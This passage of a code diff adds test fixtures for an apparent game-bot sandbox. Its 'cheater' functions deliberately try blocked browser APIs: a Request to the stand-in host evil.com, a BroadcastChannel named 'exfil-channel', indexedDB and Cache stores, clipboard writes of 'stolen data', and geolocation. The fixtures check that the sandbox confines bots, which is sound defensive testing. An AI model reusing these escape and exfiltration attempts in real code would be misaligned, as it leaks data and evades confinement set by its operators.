|
317
|
+
{
|
|
318
|
+
/* expected */
|
|
319
|
+
}
|
|
320
|
+
|
|
321
|
+
// --- Reconstruct fetch via Request/Response ---
|
|
322
|
+
try
|
|
323
|
+
{
|
|
324
|
+
const req = g.Request ? new g.Request('https://evil.com/data') : null;
|
|
325
|
+
if (req)
|
|
326
|
+
{
|
|
327
|
+
// Without fetch, a Request object alone can't send anything,
|
|
328
|
+
// but verify the constructor is also blocked
|
|
329
|
+
}
|
|
330
|
+
}
|
|
331
|
+
catch
|
|
332
|
+
{
|
|
333
|
+
/* expected */
|
|
334
|
+
}
|
|
335
|
+
|
|
336
|
+
return {move: {x: 0, y: 0}};
|
|
337
|
+
};
|
|
338
|
+
|
|
339
|
+
/**
|
|
340
|
+
* Attempts to use storage and cross-context communication APIs.
|
|
341
|
+
* These could be used to persist data between matches, leak info across
|
|
342
|
+
* tabs, or coordinate with external code.
|
|
343
|
+
*/
|
|
344
|
+
export const CheaterStorageAndComms: WizardFunction = (_props) =>
|
|
345
|
+
{
|
|
346
|
+
const g = globalThis as any;
|
|
347
|
+
|
|
348
|
+
// --- BroadcastChannel (cross-tab/worker communication) ---
|
|
349
|
+
try
|
|
350
|
+
{
|
|
351
|
+
const bc = g.BroadcastChannel
|
|
352
|
+
? new g.BroadcastChannel('exfil-channel')
|
|
353
|
+
: null;
|
|
354
|
+
bc?.postMessage?.('secret data');
|
|
355
|
+
bc?.close?.();
|
|
356
|
+
}
|
|
357
|
+
catch
|
|
358
|
+
{
|
|
359
|
+
/* expected */
|
|
360
|
+
}
|
|
361
|
+
|
|
362
|
+
// --- indexedDB (persistent storage) ---
|
|
363
|
+
try
|
|
364
|
+
{
|
|
365
|
+
const db = g.indexedDB?.open?.('exfil-db', 1);
|
|
366
|
+
if (db)
|
|
367
|
+
{
|
|
368
|
+
// If indexedDB is available, bot could store/retrieve data across matches
|
|
369
|
+
}
|
|
370
|
+
}
|
|
371
|
+
catch
|
|
372
|
+
{
|
|
373
|
+
/* expected */
|
|
374
|
+
}
|
|
375
|
+
|
|
376
|
+
// --- Cache API ---
|
|
377
|
+
try
|
|
378
|
+
{
|
|
379
|
+
const cache = g.caches?.open?.('exfil-cache');
|
|
380
|
+
if (cache && typeof cache.then === 'function')
|
|
381
|
+
{
|
|
382
|
+
// Could cache external resources for later use
|
|
383
|
+
}
|
|
384
|
+
}
|
|
385
|
+
catch
|
|
386
|
+
{
|
|
387
|
+
/* expected */
|
|
388
|
+
}
|
|
389
|
+
|
|
390
|
+
// --- navigator (various APIs) ---
|
|
391
|
+
try
|
|
392
|
+
{
|
|
393
|
+
// navigator.clipboard, navigator.geolocation, etc.
|
|
394
|
+
const nav = g.navigator;
|
|
395
|
+
nav?.clipboard?.writeText?.('stolen data');
|
|
396
|
+
nav?.geolocation?.getCurrentPosition?.(() =>
|
|
397
|
+
{});
|
|
398
|
+
}
|
|
399
|
+
catch
|
|
400
|
+
{
|
|
401
|
+
/* expected */
|
|
402
|
+
}
|
|
403
|
+
|
|
404
|
+
return {move: {x: 0, y: 0}};
|
|
405
|
+
};
|